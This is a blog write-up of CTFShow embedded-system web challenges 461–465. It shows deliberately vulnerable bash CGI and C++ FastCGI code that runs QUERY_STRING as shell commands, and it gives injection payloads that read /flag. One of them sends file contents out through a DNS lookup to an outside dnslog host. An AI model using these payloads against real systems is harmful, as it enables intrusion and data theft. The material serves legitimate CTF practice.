CTFShow嵌入式

yansui Lv3

CTFShow 嵌入式

不知道嵌入式是啥,需要学啥知识点,先看看题玩玩

好像就是拿bash文件作为cgi

关于什么是CGI

可能嵌入式系统比较简单,性能有限,所以还需要CGI这种上古技术。

需要注意的是,CGI程序响应在Web服务器前,所以不会自动进行URL解码。

Web461

给了个不知道干啥的bash脚本:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
OIFS="$IFS"
IFS=","
set $QUERY_STRING
Args=($QUERY_STRING)
IFS="$OIFS"
if [ "${Args[2]}"ctf = "admin"ctf ]; then
echo "`${Args[0]}$IFS${Args[1]}`"
fi
exit 0

查询字符串的第三个参数==admin就可以执行带一个参数的命令

GPT4还是好用啊

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
这是一个bash shell脚本,下面我会逐步为您解释这个脚本的每一部分。

#!/bin/bash:这是一个shebang,它告诉操作系统用bash shell来执行这个脚本。

OIFS="$IFS":IFS(Internal Field Separator)是bash中的一个特殊变量,用于确定在读取数据时应该如何分隔字段。此行将原始的IFS值保存在变量OIFS中,以便稍后可以恢复它。

IFS=",":设置IFS值为逗号,这意味着当读取或分解字符串时,将使用逗号作为字段分隔符。

set $QUERY_STRING:将QUERY_STRING变量的值分解为独立的参数。例如,如果QUERY_STRING是"a,b,c",那么执行此命令后,你将得到 $1="a", $2="b", $3="c"。

Args=($QUERY_STRING):这将QUERY_STRING的值赋给一个名为Args的数组。此时,Args[0]的值将是"a", Args[1]的值将是"b", 以此类推。

IFS="$OIFS":恢复原始的IFS值。

这部分的代码:

bash
Copy code
if [ "${Args[2]}"ctf = "admin"ctf ]; then
echo "`${Args[0]}$IFS${Args[1]}`"
fi
是一个条件语句,检查Args数组的第三个元素(在bash数组中,索引是从0开始的)是否等于"admin"。这里用了一个小技巧,将"ctf"添加到每一边,可能是为了防止某些类型的字符串比较错误或注入。

如果条件为真,它将执行以下命令:

bash
Copy code
echo "`${Args[0]}$IFS${Args[1]}`"
这是一个复杂的表达式。基本上,它会执行由Args[0]和Args[1]定义的命令,并输出它们的结果。请注意,这可能是一个安全隐患,因为它允许执行用户提供的任意命令。

exit 0:这将结束脚本并返回一个退出状态码0,表示脚本已成功执行。

总的来说,这个脚本接受一个用逗号分隔的字符串(可能是来自于某种请求的QUERY_STRING),然后检查其中的第三个部分是否为"admin"。如果是,它将执行由前两部分定义的命令。这个脚本具有潜在的安全风险,因为它允许执行任意命令。

payload:

1
?cat,/flag,admin

Web462

还是经典bash

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
OIFS="$IFS"
IFS=","
set $QUERY_STRING
Args=($QUERY_STRING)
IFS="$OIFS"
if [ "${Args[0]}"ctf = "ping"ctf ]; then
addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"
addr="ping -c 1 "$addr
$addr
fi

GPT说:

1
2
3
4
5
6
7
8
9
10
11
12
13
如果上述条件为真:

bash
Copy code
addr="`echo ${Args[1]} | sed 's|[\]||g' | sed 's|%20| |g'`"
这将Args[1](即QUERY_STRING的第二部分)的值进行处理,移除其中的所有反斜杠(\),并将所有的%20替换为空格。这样处理后的结果被存储在addr变量中。

然后:

bash
Copy code
addr="ping -c 1 "$addr
这将addr变量的值前缀为"ping -c 1 ",这意味着它将执行一个ping命令并发送1个ICMP请求包。

没有echo,需要外带数据

payload:

1
?ping,`cat /f*`.nwcygt.dnslog.cn

但是这个好像不行?

为啥给解析成127.0.0.1了,服了

带不出来了,不做了

Web463

为啥还给了个cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>


/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{
FILE * fp;
char * p = NULL;
int res = -1;
if (cmd == NULL || pRetMsg == NULL || msg_len < 0)
{
printf("Param Error!\n");
return -1;
}
if ((fp = popen(cmd, "r") ) == NULL)
{
printf("Popen Error!\n");
return -2;
}
else
{
memset(pRetMsg, 0, msg_len);
//get lastest result
while(fgets(pRetMsg, msg_len, fp) != NULL)
{
printf("Msg:%s",pRetMsg); //print all info
}

if ( (res = pclose(fp)) == -1)
{
printf("close popenerror!\n");
return -3;
}
pRetMsg[strlen(pRetMsg)-1] = '\0';
return 0;
}
}

int main(void)
{
int count = 0;
char *cmd = "";
char a8Result[128] = {0};
int ret = 0;
while (FCGI_Accept() >= 0)
printf("Content-type: text/html\r\n"
"\r\n"
"<title>CTFshow</title>"
"<h1>where is flag?</h1>"
);
cmd=getenv("QUERY_STRING");
ret = _System(cmd, a8Result, sizeof(a8Result));
printf("ret = %d \nresult = %s\nlength = %d \n", ret, a8Result, strlen(a8Result));
return 0;
}

是用cpp写的fast cgi,使用popen来执行系统函数

payload:

1
?cat${IFS}/flag

Web464

还是一个cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdlib.h>
#include "fcgi_stdio.h"
#include <cstring>


/* just get lastest info */
int _System(const char * cmd, char *pRetMsg, int msg_len)
{
FILE * fp;
char * p = NULL;
int res = -1;
if (cmd == NULL || pRetMsg == NULL || msg_len < 0)
{
printf("Param Error!\n");
return -1;
}
if ((fp = popen(cmd, "r") ) == NULL)
{
printf("Popen Error!\n");
return -2;
}
else
{
memset(pRetMsg, 0, msg_len);
//get lastest result
while(fgets(pRetMsg, msg_len, fp) != NULL)
{
printf("Msg:%s",pRetMsg); //print all info
}

if ( (res = pclose(fp)) == -1)
{
printf("close popenerror!\n");
return -3;
}
pRetMsg[strlen(pRetMsg)-1] = '\0';
return 0;
}
}

int main(void)
{
int count = 0;
char *cmd = "";
char a8Result[128] = {0};
int ret = 0;
while (FCGI_Accept() >= 0)
printf("Content-type: text/html\r\n"
"\r\n"
"<title>CTFshow</title>"
"<h1>where is flag?</h1>"
);
cmd=getenv("QUERY_STRING");
ret = _System(cmd, a8Result, sizeof(a8Result));
return 0;
}

跟上面一题的区别是main函数里面printf没了,但是好像不影响,因为_System函数里面打印出来了已经

payload:

1
?cat${IFS}/flag

Web465

给了个cgi,看了一下是ELF文件,先逆向一下

成pwn题了楽,还好会那么一丢丢pwn

是strcpy函数缓冲区溢出到getFlag函数,还得传一个参数,得多写几个字节

getFlag(“cat /f*”);

据说是泄露libc地址了,做不了一点,不做了

  • 标题: CTFShow嵌入式
  • 作者: yansui
  • 创建于: 2023-10-25 10:43:26
  • 更新于: 2023-10-25 10:42:38
  • 链接: http://yansui.xyz/2023/10/25/嵌入式/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
CTFShow嵌入式